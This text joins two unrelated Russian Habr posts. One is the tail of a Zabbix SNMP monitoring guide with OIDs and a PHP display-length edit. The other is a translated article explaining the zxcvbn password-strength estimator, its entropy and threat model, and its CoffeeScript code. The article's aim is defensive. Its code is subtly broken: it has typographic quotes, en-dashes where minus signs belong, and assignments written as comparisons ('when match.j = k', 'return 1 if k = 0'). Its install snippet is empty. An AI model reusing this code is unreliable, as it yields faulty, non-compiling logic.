Можно пойти дальше написать скрипт которые автоматом делал ребут карты ночью в период минимальной активности абонента.
Есть и другие oid например дающие только код прошивки.
**1.3.6.1.4.1.231.7.1.2.2.1.2.2.2.1.4.хх.1**
Создаем в забиксе новый итем например **card1soft** с OID **.1.3.6.1.4.1.231.7.1.2.2.1.1.2.1.1.12.13** и типом данных «символ».
Подвешиваем на него триггер
**{{HOSTNAME}:card1soft.change(0)}#0** и называем его **Смена прошивки 1 карты** Подвесив действе на триггер/триггеры получаем уведомления об обновлении прошивок.
Создаем в забиксе новый итем например **card1softupg** с OID **.1.3.6.1.4.1.231.7.1.2.2.1.1.2.1.1.13.13** и типом данных «символ».
И пишем триггер который будет который будет проверять эти значения.
###### А триггер я так и не смог сделть
Далее при просмотре в **Мониторинг/Последние данные** выдаются обрезанные данные — 20 символов. Покопавшись в исходниках нашел где это режется.
**/public\_html/include/items.inc.php** строка 1381
> `function format\_lastvalue($db\_item){
>
> if(isset($db\_item["lastvalue"])){
>
> if($db\_item["value\_type"] == ITEM\_VALUE\_TYPE\_FLOAT){
>
> $lastvalue=convert\_units($db\_item["lastvalue"],$db\_item["units"]);
>
> }
>
> else if($db\_item["value\_type"] == ITEM\_VALUE\_TYPE\_UINT64){
>
> $lastvalue=convert\_units($db\_item["lastvalue"],$db\_item["units"]);
>
> }
>
> else if($db\_item["value\_type"] == ITEM\_VALUE\_TYPE\_STR ||
>
> $db\_item["value\_type"] == ITEM\_VALUE\_TYPE\_TEXT ||
>
> $db\_item["value\_type"] == ITEM\_VALUE\_TYPE\_LOG){
>
> $lastvalue=$db\_item["lastvalue"];
>
> if(strlen($lastvalue) > 20)
>
> $lastvalue = substr($lastvalue,0,20)." ...";
>
> $lastvalue = nbsp(htmlspecialchars($lastvalue));
>
> }
>
> else{
>
> $lastvalue="Unknown value type";
>
> }
>
> if($db\_item["valuemapid"] > 0);
>
> $lastvalue = replace\_value\_by\_map($lastvalue, $db\_item["valuemapid"]);
>
>
>
> }
>
> else{
>
> $lastvalue = "-";
>
> }
>
> return $lastvalue;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как видим вывод рубится до 20 символов, мне необходимо было получать 30 символов
Заменив 2 числа с 20 на 30 получили полный вывод версии прошивки.
> `if(strlen($lastvalue) > 30)
>
> $lastvalue = substr($lastvalue,0,30)." ...";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот еще полезные OID
Особенно полезно наблюдать за температурами плат.
**1.3.6.1.2.1.47.1.1.1.1.11.хх** серийный номер карты (символ)
**1.3.6.1.4.1.231.7.1.2.2.1.1.2.1.1.14.хх** температура карты (число)
где хх = 13 14 15 16 17 18 19 20 соответственно 1 2 3 4 7 8 9 10 платы IU (модемные или голосовые)
а 21 и 22 платы CXU (процессорные).
**1.3.6.1.4.1.231.7.1.2.2.1.1.1.1.1.5.хх** тип карты (символ)
где хх = 3 4 5 6 7 8 9 10 соответственно 1 2 3 4 7 8 9 10 платы IU (модемные или голосовые)
а 11 и 12 платы CXU (процессорные).
ЗЫ К сожалению не смог найти OID которые бы смог сообщать о состоянии вентиляторов. Какие из них работают, а какие вышли из строя. В консоли это проверить легко.
**UPD** Постоянно меняю и дополняю содержимое. Просьба отнестись к возможным ошибкам с пониманием. Так сказать это горячий пирожок который я делаю сегодня. | https://habr.com/ru/post/83460/ | null | ru | null |
# Программа zxcvbn: реалистичная оценка надежности пароля
Последние несколько месяцев анализаторы надежности паролей попадаются мне чуть ли не в каждой форме регистрации в Интернете. В этой области сегодня наблюдается особенно бурный рост.
Вопрос только в том, действительно ли такая программа помогает защитить учетную запись пользователя? Этот аспект интернет-безопасности, конечно, не настолько важен, как некоторые другие, например:
* предотвращение взлома веб-страниц за счёт нарастающей задержки или использования CAPTCHA;
* предотвращение офлайн-взлома путем применения достаточно медленной хеш-функции с индивидуализированной на уровне пользователя «солью»;
* защита хешей паролей.
Если учесть указанные выше факторы, то да, я уверен, что программы, тестирующие безопасность паролей, действительно *очень перспективны и могут помочь пользователю*. В своей книге, изданной в 2006 году под названием [«Идеальные пароли: выбор, защита, аутентификация» (Perfect Passwords: Selection, Protection, Authentication)](http://www.amazon.com/Perfect-Password-Selection-Protection-Authentication/dp/1597490415), Марк Бернетт (Mark Burnett), подсчитал частоту употребления нескольких миллионов паролей, раскрытых в результате различных утечек данных. Он пишет, что каждый девятый пользователь выбирал пароль из этого [списка самых популярных](http://xato.net/wp-content/xup/passwordscloud.png). Среди них такие «крепкие орешки», как: password1, compaq, 7777777, merlin и rosebud. В прошлом году Бернетт провел [новое исследование](http://xato.net/passwords/more-top-worst-passwords), изучив 6 миллионов паролей, и на этот раз выяснилось, что 99,8% из них входят в список 10 000 самых популярных, а 91% — в список 1000 самых употребительных. Конечно, на результат во многом влияли [методология исследования и смещение выборки](http://xato.net/passwords/how-i-collect-passwords) — например, поскольку большая часть этих паролей была получена из уже взломанных хешей, весь список изначально смещен в сторону легко взламываемых паролей.
Здесь указаны только легко угадываемые пароли, но держу пари, что большой процент остальных все равно достаточно предсказуем и может быть взломан в результате небольшой сетевой атаки. Поэтому я считаю, что благодаря прямому взаимодействию с пользователями такие анализаторы могут действительно помочь в выборе более надежного пароля. Однако на данный момент они, в большинстве своем, только вредят (не считая нескольких программ с закрытым кодом). Вот почему это происходит.
Надежность пароля лучше всего измерять величиной энтропии, выраженной в битах. Энтропия рассчитывается как число вариантов разделения надвое множества возможных паролей. Вот простейший алгоритм оценки надежности пароля:
```
# n: длина пароля
# c: мощность пароля: размер символьного пространства
# (26 для пароля, содержащего только буквы нижнего регистра, 62 — для пароля, содержащего буквы верхнего и нижнего регистров, а также цифры)
Энтропия = n * lg(c) # логарифм по основанию 2
```
Такой анализ методом прямого подбора применим к паролям, состоящим из случайных последовательностей букв, цифр и символов. Однако в большинстве случаев и лишь за редким исключением (за что отдельное спасибо [1Password](https://agilebits.com/onepassword) / [KeePass](http://keepass.info/)), люди выбирают в качестве пароля упорядоченные комбинации символов — словарные слова, простые клавиатурные последовательности, например qwerty, asdf и zxcvbn, повторы (aaaaaaa), последовательности (например, abcdef или 654321), а также сочетания вышеперечисленных элементов. Если пароль содержит буквы верхнего регистра, то такой буквой, скорее всего, будет первая буква пароля. Использование цифр и специальных символов также зачастую предсказуемо, в частности благодаря использованию сетевого жаргона l33t (цифра 3 заменяет букву e, 0 — o, @ или 4 — a), указанию годов, дат, почтовых индексов и т. д.
В результате упрощенные методы анализа надежности пароля оказываются недостоверными. Без проверки использования общеупотребительных комбинаций рекомендация использовать в пароле цифры и символы ненамного усложнит взлом, зато значительно усложнит запоминание. Один из комиксов на сайте xkcd отлично описывает эту ситуацию:
[](https://xkcd.com/936/)>
Поэтому я и решил в качестве независимого проекта для очередной [«Недели взломщика»](http://techcrunch.com/2012/03/26/a-peek-inside-dropboxs-company-wide-hack-week-at-its-big-new-sf-offices/), проводимой Dropbox, создать анализатор надежности паролей с открытым кодом, который отсеивал бы простые комбинации и, соответственно, не запрещал бы достаточно сложные фразы-пароли типа correcthorsebatterystaple (вернолошадьбатареяскобка). Сейчас эта утилита размещена на [dropbox.com/register](https://www.dropbox.com/register) и [доступна для использования](https://github.com/lowe/zxcvbn) на github. Вы можете самостоятельно поэкспериментировать с [демо-версией](http://dl.dropbox.com/u/209/zxcvbn/test/index.html) и оценить несколько паролей.
В приведенной ниже таблице zxcvbn сравнивается с другими анализаторами надежности паролей. Смысл сравнения не в том, чтобы доказать несостоятельность остальных приложений — ведь у каждого сайта своя политика в отношении паролей — а в том, чтобы дать вам лучшее представление об особенностях zxcvbn.
| | `qwER43@!` | `Tr0ub4dour&3` | `correcthorsebatterystaple` |
| --- | --- | --- | --- |
| zxcvbn | | | |
| Dropbox (старый) | | | |
| Citibank | | | |
| Bank of America | Недопустимый | Недопустимый | Недопустимый |
| Twitter | | | |
| PayPal | | | |
| eBay | | | Недопустимый |
| Facebook | | | |
| Yahoo! | | | |
| Gmail | | | |
Несколько примечаний:
* Эти скриншоты я сделал 3 апреля 2012 года.
* Zxcvbn считает correcthorsebatterystaple самым надежным паролем из трех. Остальные приложения либо считают его самым неэффективным, либо вовсе не разрешают его использовать. (Twitter присвоил трем паролям примерно одинаковую степень надежности, но если приглядеться, можно заметить небольшую разницу.)
* Zxcvbn считает qwER43@! неэффективным паролем, поскольку он представляет собой зашифрованную клавиатурную последовательность QWERTY. За каждую смену направления и сдвиг символа он увеличивает ей энтропию.
* Анализатор паролей PayPal посчитал qwER43@! неэффективным паролем, но aaAA11!!! — надежным. Можно предположить, что он распознает клавиатурные последовательности.
* В форме регистрации Bank of America не разрешается использование паролей длиннее 20 символов, в том числе correcthorsebatterystaple. По их правилам в паролях могут использоваться некоторые специальные символы, но «&» и «!» не разрешены, соответственно, запрещено использование двух оставшихся паролей. eBay также не допускает использование паролей длиной более 20 символов.
* Похоже, что за редким исключением протестированные программы не руководствуются теми же примитивными критериями, что и я, иначе correcthorsebatterystaple получил бы самый высокий рейтинг благодаря своей длине. Прежняя версия анализатора паролей Dropbox добавляла паролю баллы за каждую использованную один раз строчную букву, заглавную букву, цифру и специальный символ до определенного предела для каждой из этих групп символов. Такой подход защищает только от атак методом полного перебора, хотя в эту систему заложена опция проверки нового пароля по словарю наиболее употребительных слов. Принципов работы остальных протестированных программ я не знаю, но известно, что разработчики часто применяют вот такие [таблицы критериев надежности](http://www.passwordmeter.com/) (которые, однако, проверяют пароль по небольшому набору комбинаций).
* За базовое слово пароля во второй колонке я взял Troubadour, а не Troubador, как в xkcd (последнее написание встречается редко).
#### Установка
Система zxcvbn не ограничена типом браузера и работает с Internet Explorer (начиная с версии 7)/ Opera / FireFox / Safari / Google Chrome. Самый простой способ добавить ее на свою страницу регистрации — следующий:
```
```
Размер скрипта zxcvbn-async.js — всего лишь 350 байт. После выполнения window.load, когда страница загрузится и отобразится, начнется загрузка zxcvbn.js — «тяжелого» файла в 680 Кбайт (или 320 Кбайт в gzip), большую часть которого составляет словарь. Я ни разу не видел, чтобы размер скрипта создавал какие-либо проблемы: поскольку перед выбором пароля пользователь обычно вводит в форму регистрации другие данные, времени для загрузки скрипта предостаточно. Вот [полное описание](http://friendlybit.com/js/lazy-loading-asyncronous-javascript/) асинхронной загрузки скрипта в разных браузерах.
Zxcvbn добавляет в глобальное пространство имен одну функцию:
```
zxcvbn(password, user_inputs)
```
Она принимает один обязательный аргумент (пароль) и возвращает результирующий объект со следующими свойствами:
```
result.entropy # бит
result.crack_time # оценка фактического времени взлома (сек.)
result.crack_time_display # то же время взлома, в более удобном формате:
# «мгновенно», «6 минут», «века» и т. д.
result.score # рейтинг надежности, равный 0, 1, 2, 3 или 4,
# если время взлома меньше 10**2, 10**4, 10**6,
# 10**8 или бесконечности, соответственно.
# (полезно для графического представления надежности в виде линейчатой диаграммы)
result.match_sequence # выявленные комбинации символов, учтенные при
# подсчете энтропии
result.calculation_time # время расчета ответа (мс); обычно всего несколько мс
```
Необязательный аргумент user\_inputs представляет собой массив строк, которые zxcvbn добавит в свой встроенный словарь. Теоретически он может включать любые строки, однако предполагается, что это будут данные, введенные пользователем в другие поля формы (например имя или адрес электронной почты). Таким образом, надежность пароля, содержащего персональные данные пользователя, может быть оценена очень низко. Удобен этот список и для учета специального словаря конкретного сайта (например, в моей программе учтен специфический словарь сайта Dropbox).
Программа zxcvbn написана на CoffeeScript. Файлы zxcvbn.js и zxcvbn-async.js [обработаны преобразователем closure](https://developers.google.com/closure/compiler/), но если вы хотите усовершенствовать zxcvbn, отправьте мне pull-запрос, [файл README](https://github.com/lowe/zxcvbn#readme) содержит информацию об установке среды разработки.
Далее по тексту я подробно описываю принцип работы zxcvbn.
#### Модель
Zxcvbn работает в три этапа: match (сверка), score (расчет), search (поиск).
* Функция **match** проводит сверку по всем известным ей комбинациям (включая пересекающиеся). На текущий момент zxcvbn поддерживает сверку с несколькими словарями (словарь английских слов, имен и фамилий, а также список 10 000 самых распространенных паролей Бернетта), последовательными клавиатурными комбинациями (QWERTY, Dvorak и цифровой), повторами (aaa), цифровыми и символьными последовательностями (123, gfedcba), годами в диапазоне от 1900 до 2019, а также датами (в форматах 3-13-1997, 13.3.1997, 1331997). Во всех словарях распознается верхний регистр и распространенные эквиваленты l33t.
* Функция **score** вычисляет степень энтропии для каждой совпавшей комбинации отдельно от оставшейся части пароля (предполагая, что взломщику известна эта комбинация). Простой пример — rrrrr. В данном случае взломщику нужно перебрать все варианты повторов от 1 до 5, начинающиеся со строчной буквы:
```
entropy = lg(26*5) # около 7 бит
```
* Функция **search** использует принцип «бритвы Оккама»; из полного множества возможно пересекающихся совпадений поиск выдает простейшую непересекающуюся последовательность (с минимальной энтропией). Например, если пароль — damnation, его можно разбить на 2 слова: dam и nation, либо рассматривать как одно. В данном случае важно рассматривать слово именно как единое целое, ведь перебирающий слова взломщик подберет пароль как одно слово гораздо быстрее, чем как два. Кстати, пересекающиеся комбинации также являются основной причиной появления таких непредумышленно фатальных доменных имен, как childrens-laughter.com, но без дефиса (прим. пер.: children’s laughter — детский смех, children slaughter — детоубийство).
Функция search является краеугольным камнем модели. Я начну с нее и вернусь к началу.
#### Поиск минимума энтропии
Zxcvbn рассчитывает степень энтропии пароля как сумму энтропий его составных частей. Любые части пароля, находящиеся между идентифицированными комбинациями, считаются последовательностями, угадываемыми перебором, также имеющими собственную энтропию. Вот пример энтропии, состоящей из энтропии фамилии, энтропии перебора и энтропии клавиатуры:
```
entropy("stockwell4$eR123698745") == surname_entropy("stockwell") +
bruteforce_entropy("4$eR") +
keypad_entropy("123698745")
```
Здесь мы делаем серьезное допущение, что энтропия пароля является суммой энтропий его частей. Однако это допущение весьма консервативно. Не принимая в расчет «энтропию конфигурации» — т. е. энтропию числа и расположения частей пароля — zxcvbn намеренно недооценивает общую энтропию, не приписывая структуре пароля никакой ценности: программа предполагает, что взломщику структура пароля уже известна (например, «фамилия-подбираемая комбинация-цифры»), и рассчитывает только число попыток угадать элементы пароля. Таким образом, энтропия паролей со сложной структурой сильно недооценивается. Взламывая пароль correcthorsebatterystaple (слово-слово-слово-слово), взломщик при помощи таких программ, как L0phtCrack или John the Ripper, как правило, сначала переберет множество более простых структур (слово, слово-цифра, слово-слово), пока дойдет до слово-слово-слово-слово. Однако есть три причины, по которым этот недостаток программы меня не беспокоит:
* Разработать хорошую модель структурной энтропии не так-то просто; я не располагаю статистическими данными о том, какие структуры используются пользователями чаще всего, так что для верности лучше занизить оценку энтропии пароля.
* При сложной структуре пароля сумма энтропий его частей зачастую уже обеспечивает ему отличный рейтинг сложности. Например, даже зная структуру слово-слово-слово-слово пароля correcthorsebatterystaple, взломщик будет взламывать этот пароль веками.
* Большинство людей не пользуется сложными структурами при создании паролей. А пренебрежение структурой, как правило, уменьшает общую энтропию всего на несколько бит.
Разобравшись с этим допущением, давайте рассмотрим эффективный динамический алгоритм на CoffeeScript, позволяющий найти минимальную непересекающуюся последовательность соответствий. Время его работы — O (n•m) для пароля длины n, включающего m возможных совпадений символьных комбинаций (включая пересекающиеся).
```
# совпадения: полный массив возможных совпадений, найденных для пароля
# у каждого совпадения есть начальный индекс (match.i) и конечный индекс
# (match.j) в составе пароля, включительно
minimum_entropy_match_sequence = (password, matches) ->
# например, 26 – для паролей, состоящих только из букв нижнего регистра
bruteforce_cardinality = calc_bruteforce_cardinality password
up_to_k = [] # минимальная энтропия до k, включительно
backpointers = [] # для оптимальной последовательности совпадений до k, включительно
# содержит последнее совпадение (match.j = k).
# ноль означает, что последовательность заканчивается символом подбора
for k in [0...password.length]
# лучший на данный момент начальный сценарий:
# добавление символа подбора к последовательности с минимальной энтропией
# с длиной k-1.
up_to_k[k] = (up_to_k[k-1] or 0) + lg bruteforce_cardinality
backpointers[k] = null
for match in matches when match.j = k
[i, j] = [match.i, match.j]
# проверяем, что минимальная энтропия до i-1 + энтропия данного
# совпадения меньше текущего минимума на j
candidate_entropy = (up_to_k[i-1] or 0) + calc_entropy(match)
if candidate_entropy < up_to_k[j]
up_to_k[j] = candidate_entropy
backpointers[j] = match
# двигаемся в обратном направлении, раскодируем лучшую последовательность
match_sequence = []
k = password.length – 1
while k >= 0
match = backpointers[k]
if match
match_sequence.push match
k = match.i – 1
else
k -= 1
match_sequence.reverse()
# заполняем «просветы» между совпавшими комбинациями фрагментами,
# угадываемыми подбором
# в результате последовательность совпадений покрывает весь пароль:
# совпадение1.j = совпадение2.i – 1 для каждого смежного совпадения1,
# совпадения2.
make_bruteforce_match = (i, j) ->
pattern: ‘bruteforce’
i: i
j: j
token: password[i..j]
entropy: lg Math.pow(bruteforce_cardinality, j – i + 1)
cardinality: bruteforce_cardinality
k = 0
match_sequence_copy = []
for match in match_sequence # заполняем пробелы между совпадениями
[i, j] = [match.i, match.j]
if i – k > 0
match_sequence_copy.push make_bruteforce_match(k, i – 1)
k = j + 1
match_sequence_copy.push match
if k < password.length # заполняем «просвет» в конце
match_sequence_copy.push make_bruteforce_match(k, password.length – 1)
match_sequence = match_sequence_copy
# или исключительный случай — при пустом пароле « »
min_entropy = up_to_k[password.length - 1] or 0
crack_time = entropy_to_crack_time min_entropy
# окончательный результирующий объект
password: password
entropy: round_to_x_digits min_entropy, 3
match_sequence: match_sequence
crack_time: round_to_x_digits crack_time, 3
crack_time_display: display_time crack_time
score: crack_time_to_score crack_time
```
Массив backpointers[j] хранит совпадение с последовательностью, заканчивающейся на позиции пароля j или пустое значение (null), если в последовательности нет такого совпадения. При динамическом программировании построение оптимальной последовательности принято начинать с конца и двигаться в обратном направлении.
Производительность особенно важна для этого скрипта потому, что он работает в браузере в процессе ввода пароля. Чтобы обеспечить работу программы, я начинал с простого подхода O(2m) к вычислению сумм для всех возможных непересекающихся подмножеств, и процесс очень быстро замедлялся с усложнением задачи. Теперь же на полный анализ большинства паролей у zxcvbn уходит не больше нескольких миллисекунд. По самой грубой оценке, в Google Chrome на 2,4 ГГц Intel Xeon, пароль correcthorsebatterystaple в среднем анализируется примерно за 3 мсек. На пароль coRrecth0rseba++ery9/23/2007staple$ в среднем уходит около 12 мсек.
#### Модель угрозы: соотношение между энтропией и временем взлома
Понятие энтропии не слишком прозрачный показатель. Как понять, достаточно ли надежен пароль на 28 бит? Иными словами, как перейти от оценки энтропии непосредственно ко времени взлома? Для этого применяется модель угрозы. Предположим, что:
* пароли хранятся в виде хешей с «солью» и «соль» для каждого пользователя выбрана случайно, что делает атаку с помощью радужной таблицы нецелесообразной;
* взломщику удалось украсть все хеши и всю «соль» и теперь он подбирает пароль в режиме офлайн на максимально возможной скорости;
* в распоряжении взломщика несколько процессоров.
Некоторые ориентировочные цифры:
```
# для таких хеш-функций, как bcrypt/scrypt/PBKDF2, за нижнюю границу времени одной попытки можно
# смело принимать 10 мсек.
# обычно же попытки длятся дольше — в этом случае мы предполагаем, что у взломщика имеется
# быстрое железо и вычисление хеша # выполняется относительно быстро;
# если вы используете другую хеш-функцию на своем сайте, соответствующим образом скорректируйте
# это время — возможно, на несколько порядков!
SINGLE_GUESS = .010 # секунд
NUM_ATTACKERS = 100 # число параллельно атакующих ядер
SECONDS_PER_GUESS = SINGLE_GUESS / NUM_ATTACKERS
entropy_to_crack_time = (entropy) ->
.5 * Math.pow(2, entropy) * SECONDS_PER_GUESS
```
Здесь я ввел коэффициент 0,5, поскольку мы вычисляем среднее время взлома, а не время перебора всего пространства поиска.
Возможно, эти вычисления слишком консервативны. Крупномасштабная кража хешей случается довольно редко, и, если только атака не направлена прямо на вас, взломщик вряд ли отведет 100 ядер на один ваш пароль. Обычно взломщику приходится гадать в режиме онлайн, где ему досаждают сетевая задержка, нарастающая задержка и CAPTCHA.
#### Вычисление энтропии
Теперь рассмотрим, как zxcvbn рассчитывает энтропию каждой комбинации символов в пароле. Точка входа — calc\_entropy(). Это простой выбор:
```
calc_entropy = (match) ->
return match.entropy if match.entropy?
entropy_func = switch match.pattern
when ‘repeat’ then repeat_entropy
when ‘sequence’ then sequence_entropy
when ‘digits’ then digits_entropy
when ‘year’ then year_entropy
when ‘date’ then date_entropy
when ‘spatial’ then spatial_entropy
when ‘dictionary’ then dictionary_entropy
match.entropy = entropy_func match
```
Выше я в общих чертах объяснил, как работает функция repeat\_entropy. С [полным текстом кода расчета энтропии](https://github.com/lowe/zxcvbn/blob/master/scoring.coffee) можно самостоятельно ознакомиться на github, но чтобы дать вам некоторое представление о нем, я опишу две другие расчетные функции: spatial\_entropy (энтропия клавиатурных комбинаций) и dictionary\_entropy (словарная энтропия).
Рассмотрим клавиатурную комбинацию qwertyhnm. Она начинается с символа q, ее длина — 9 символов, и у нее есть три направления движения: сначала движение направо, затем вниз и направо, затем снова вниз и направо. Параметризируем данную комбинацию:
```
s # число возможных начальных символов
# 47 — для клавиатуры QWERTY/Dvorak, 15 — для цифровой клавиатуры PC и 16 —
# для цифровой клавиатуры Macintosh
L # длина пароля; L >= 2
t # число смен направления; t <= L – 1
# например, пароль длиной 3 может иметь не более 2 смен направления («qaw»)
d # средний «порядок» каждой клавиши равен числу смежных с ней клавиш;
# для клавиатур QWERTY/Dvorak он составляет порядка 4,6 (у клавиши g – 6 соседей,
# у тильды – только 1)
```
Тогда общее пространство возможностей включает все возможные клавиатурные комбинации длины L или менее, имеющие t или менее смен направления:
[](http://blog.perevedem.ru/wp-content/uploads/2012/05/formula.bmp)
Функция «*биноминальный коэффициент из (i – 1) по (j – 1)*» подсчитывает возможные конфигурации смены направлений для клавиатурной комбинации длины i, имеющей j смен направления. К обоим элементам добавляется «-1», поскольку первая смена направления всегда происходит на первой букве. При каждом из j смен направлений существует d возможных направлений, т. е. всего dj возможностей на каждую конфигурацию. Взломщик также должен перебрать все начальные символы, отсюда коэффициент s в формуле. Сама формула весьма приблизительна — в частности потому, что многие варианты, учтенные в ней, на реальной клавиатуре невозможны: для клавиатурной комбинации длины 5 с 1 сменой направления операция «начать с “q” и двигаться влево» учтена, но невозможна.
Это выражение на CoffeeScript можно записать так:
```
lg = (n) -> Math.log(n) / Math.log(2)
nPk = (n, k) ->
return 0 if k > n
result = 1
result *= m for m in [n-k+1..n]
result
nCk = (n, k) ->
return 1 if k = 0
k_fact = 1
k_fact *= m for m in [1..k]
nPk(n, k) / k_fact
spatial_entropy = (match) ->
if match.graph in ['qwerty', 'dvorak']
s = KEYBOARD_STARTING_POSITIONS
d = KEYBOARD_AVERAGE_DEGREE
else
s = KEYPAD_STARTING_POSITIONS
d = KEYPAD_AVERAGE_DEGREE
possibilities = 0
L = match.token.length
t = match.turns
# оценка числа клавиатурных комбинаций длины L, имеющих t или менее смен направления
for i in [2..L]
possible_turns = Math.min(t, i – 1)
for j in [1..possible_turns]
possibilities += nCk(i – 1, j – 1) * s * Math.pow(d, j)
entropy = lg possibilities
# добавляем дополнительную энтропию, связанную со смещением клавиш
# (% вместо 5, A вместо a)
# расчеты аналогичны вычислению дополнительной энтропии, связанной
# с употреблением заглавных букв в словарных словах
# см. след. фрагмент кода
if match.shifted_count
S = match.shifted_count
U = match.token.length – match.shifted_count # расчет без учета сдвига
possibilities = 0
possibilities += nCk(S + U, i) for i in [0..Math.min(S, U)]
entropy += lg possibilities
entropy
```
Переходим к словарной энтропии:
```
dictionary_entropy = (match) ->
entropy = lg match.rank
entropy += extra_uppercasing_entropy match
entropy += extra_l33t_entropy match
entropy
```
Самая важная строка — первая: к каждому совпадению привязан свой **ранг частоты употребления**: такие слова, как *the* и *good* имеют низкий ранг, а слова типа *photojournalist* и *maelstrom* — высокий. Это позволяет zxcvbn на ходу масштабировать вычисления в соответствии с размером словаря, поскольку, если в пароле используются только распространенные слова, его можно взломать с применением меньшего словаря. Это одна из причин, по которым энтропия пароля correcthorsebatterystaple немного разнится по версиям xkcd и zxcvbn (45,2 бит и 44 бит соответственно). В xkcd использовался фиксированный словарь размером 211 (около 2000 слов), а zxcvbn адаптирует рабочий словарь к конкретной ситуации. Поэтому zxcvbn.js содержит полные словари, а не компактный [фильтр Блума](http://en.wikipedia.org/wiki/Bloom_filter), и помимо проверки принадлежности комбинации к определенному массиву, необходимы сведения о ее ранге.
В конце данной статьи, в разделе «Данные», я поясню, откуда берутся ранги по частоте. Энтропия, связанная с использованием букв верхнего регистра, рассчитывается следующим образом:
```
extra_uppercase_entropy = (match) ->
word = match.token
return 0 if word.match ALL_LOWER
# самая распространенная схема употребления заглавных букв — выделение
# первой буквы в слове,
# поэтому она увеличивает область поиска всего в два раза (строчная +
# заглавная):
# всего 1 дополнительный бит энтропии.
# написание всего слова или последней буквы слова заглавными буквами тоже
# достаточно широко распространено,
# чтобы не завысить оценку надежности, примем дополнительную энтропию,
# создаваемую при этом, за 1 бит
for regex in [START_UPPER, END_UPPER, ALL_UPPER]
return 1 if word.match regex
# в противном случае, подсчитаем количество возможных способов употребления
# заглавных букв
# U+L заглавных и строчных с U и менее заглавных
# или, если заглавных больше, чем строчных (например, PASSwORD), — число
# способов употребления строчных букв для U+L букв с L и менее строчных
U = (chr for chr in word.split(”) when chr.match /[A-Z]/).length
L = (chr for chr in word.split(”) when chr.match /[a-z]/).length
possibilities = 0
possibilities += nCk(U + L, i) for i in [0..Math.min(U, L)]
lg possibilities
```
Таким образом, получаем 1 дополнительный бит энтропии для схемы «первая заглавная» и других распространенных схем. Если же схема использования заглавных букв не относится к распространенным, она добавляет нам:
Вычисления по замещающим символам l33t аналогичны, но тогда вместо переменных для заглавных и строчных букв используются переменные для замененных и незамененных символов.
#### Совпадение комбинаций
Выше я рассказал вам о методах вычисления энтропии комбинаций, но еще не объяснил, как zxcvbn находит сами комбинации. Сверка со списком слов в словаре — довольно простая процедура: каждая подстрока пароля проверяется на наличие ее аналога в словаре:
```
dictionary_match = (password, ranked_dict) ->
result = []
len = password.length
password_lower = password.toLowerCase()
for i in [0...len]
for j in [i...len]
if password_lower[i..j] of ranked_dict
word = password_lower[i..j]
rank = ranked_dict[word]
result.push(
pattern: ‘dictionary’
i: i
j: j
token: password[i..j]
matched_word: word
rank: rank
)
result
```
Ranked\_dict определяет частоту употребления слова. Это похоже на массив слов, но только отсортированный сверху вниз по частоте употребления, при этом частота и значение меняются местами. Замены l33t определяются отдельной функцией, использующей в качестве примитива dictionary\_match. Клавиатурные последовательности (например, bvcxz) определяются при помощи смежностных графов, с подсчетом смен направления и сдвигов. Даты и года определяются при помощи регулярных выражений. В разделе matching.coffee на github можно узнать о механизме сверки со словарем подробнее.
#### Данные
Как уже говорилось ранее, [список 10 000 самых распространенных паролей](http://xato.net/passwords/more-top-worst-passwords) взят из статьи Бернетта, опубликованной в 2011 году.
[Частотный словарь имен и фамилий](http://www.census.gov/genealogy/names/names_files.html) был составлен на основе данных переписи населения США 2000 года, находящихся в свободном доступе. Чтобы программа zxcvbn не приводила к сбоям в работе Internet Explorer 7, я обрезал длинный словарь фамилий на 80 % (т. е. 80 % американцев носят фамилии, встречающиеся в этом списке), а словарь имен — на 90 %.
Словарь 40 000 самых распространенных слов в английском языке был взят из материалов [одного проекта на Wiktionary](http://en.wiktionary.org/wiki/Wiktionary:Frequency_lists), составленных на основе около 29 млн. слов из телевизионных программ и фильмов, демонстрируемых в США. Расчет был на то, что все списки, которые я нашел в Интернете, и все слова из телевизионных и киносценариев будут наиболее употребительными (следовательно, будут часто встречаться в паролях), а потому представляют собой лучшие источники — однако это лишь непроверенная гипотеза. Списки с момента составления немного устарели, например, Frasier стоит на 824-м месте по частоте употребления.
#### Заключение
На первый взгляд может показаться, что создать хорошую программу для оценки надежности паролей почти так же сложно, как и хорошую программу для их взлома. По определению это так, если ваша цель — точность, ведь «идеальная энтропия» в соответствии с идеальной моделью измеряется именно количеством вариантов, которые нужно перебрать программе взлома (используемой смышленым взломщиком) для подбора пароля. Но в данном случае цель программы заключается не в точности, а в том, чтобы дать пользователю хороший совет при выборе пароля. И это даже упрощает задачу: например, я могу позволить себе недооценить степень энтропии пароля, и единственным недостатком этого будет отбор программой более надежных паролей, чем нужно (что может раздражать пользователя, но не создаст для него опасности).
Точная оценка надежности пароля остается нелегкой задачей, в основном ввиду существования огромного количества возможных комбинаций. Zxcvbn не распознает слова, если из них убрать первую букву или гласные или написать их с ошибками; не распознает n-граммы; почтовые индексы крупных населенных пунктов; разорванные клавиатурные последовательности (например, qzwxec) и многое другое. Неочевидные комбинации (например, [числа Каталана](http://en.wikipedia.org/wiki/Catalan_number)) распознавать не столь важно, однако каждая общеупотребимая комбинация, не распознанная zxcvbn, но известная взломщику, приводит к завышению оценки энтропии пароля — и это самой большой дефект программы. Возможные пути его устранения:
* На данный момент программа zxcvbn работает только с английскими словами, и ее частотный словарь в основном отражает особенности американского английского языка и его орфографии. Имена и фамилии также в основном взяты из материалов переписей населения США. Из всех современных [раскладок клавиатуры](http://en.wikipedia.org/wiki/Keyboard_layout) zxcvbn распознает лишь несколько. Существенным улучшением могло бы стать добавление специфичных для конкретных стран наборов данных с возможностью выбора при загрузке.
* Как показывает [исследование, проведенное Джозефом Бонно](http://www.lightbluetouchpaper.org/2012/03/07/some-evidence-on-multi-word-passphrases/), помимо общеупотребительных слов люди зачастую выбирают в качестве пароля общеизвестные фразы. Программа zxcvbn работала бы лучше, если бы распознавала «Гарри Поттер» как общеупотребительную фразу, а не как имя и фамилию средней частоты употребления. [Свод n-грамм Google](http://www.ldc.upenn.edu/Catalog/catalogEntry.jsp?catalogId=LDC2009T25) занимает один терабайт, и даже хороший список биграмм непрактично подгружать в браузер, так что добавление этой функции потребует серверной обработки данных и инфраструктурных затрат. Проверка пароля через сервер позволила бы использовать гораздо более обширный словарь, например базу униграмм Google.
